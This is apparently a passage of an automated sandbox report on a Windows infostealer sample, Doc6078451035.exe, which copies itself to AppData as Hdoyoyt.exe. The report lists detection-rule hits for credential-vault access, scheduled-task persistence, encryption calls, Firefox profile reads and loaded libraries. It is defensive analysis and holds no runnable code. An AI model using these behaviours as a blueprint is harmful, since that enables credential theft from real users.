Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_006E3E80	8_2_006E3E80
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_006E41C8	8_2_006E41C8
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060AA178	8_2_060AA178
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060ABC58	8_2_060ABC58
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B5640	8_2_060B5640
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B6668	8_2_060B6668
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060BC200	8_2_060BC200
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060BB2A2	8_2_060BB2A2
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B3100	8_2_060B3100
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B7DF0	8_2_060B7DF0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B7710	8_2_060B7710
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B240A	8_2_060B240A
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060BE418	8_2_060BE418
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B0040	8_2_060B0040
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B5D5F	8_2_060B5D5F
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060B0006	8_2_060B0006
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_028EE270	10_2_028EE270
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_028E4A98	10_2_028E4A98
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_028EAA12	10_2_028EAA12
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_028E3E80	10_2_028E3E80
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_028E41C8	10_2_028E41C8
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674A178	10_2_0674A178
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06756668	10_2_06756668
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06755640	10_2_06755640
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0675C200	10_2_0675C200
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0675B2A3	10_2_0675B2A3
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06753100	10_2_06753100
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06757DF0	10_2_06757DF0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06757710	10_2_06757710
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0675E418	10_2_0675E418
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0675240A	10_2_0675240A
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06750040	10_2_06750040
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06755D5F	10_2_06755D5F
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06750007	10_2_06750007

Source: Doc6078451035.exe

Static PE information: invalid certificate

Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedoc5.exe. vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6623bc4b-fa2b-443b-b079-7932cd528c3c.exe4 vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1972573626.0000000005250000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1973327299.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameLsztmyueu.dll" vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6623bc4b-fa2b-443b-b079-7932cd528c3c.exe4 vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1964987190.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000003341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLsztmyueu.dll" vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000000.1629609732.000000000006E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedoc5.exe. vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1965317713.0000000002372000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLsztmyueu.dll" vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000000.00000002.1965317713.0000000002372000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Doc6078451035.exe
Source: Doc6078451035.exe, 00000004.00000002.2866661495.00000000012F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Doc6078451035.exe
Source: Doc6078451035.exe	Binary or memory string: OriginalFilenamedoc5.exe. vs Doc6078451035.exe

Source: Doc6078451035.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.Doc6078451035.exe.414ad28.16.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.Hdoyoyt.exe.506cc28.15.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.Hdoyoyt.exe.506cc28.15.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/4@2/4

Source: C:\Users\user\Desktop\Doc6078451035.exe

File created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Mutant created: NULL

Source: Doc6078451035.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Doc6078451035.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Doc6078451035.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Doc6078451035.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Doc6078451035.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Doc6078451035.exe	ReversingLabs: Detection: 34%
Source: Doc6078451035.exe	Virustotal: Detection: 47%

Source: C:\Users\user\Desktop\Doc6078451035.exe

File read: C:\Users\user\Desktop\Doc6078451035.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Doc6078451035.exe "C:\Users\user\Desktop\Doc6078451035.exe"
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process created: C:\Users\user\Desktop\Doc6078451035.exe "C:\Users\user\Desktop\Doc6078451035.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process created: C:\Users\user\Desktop\Doc6078451035.exe "C:\Users\user\Desktop\Doc6078451035.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe "C:\Users\user\AppData\Roaming\Hdoyoyt.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: amsi.dll	Jump to behavior
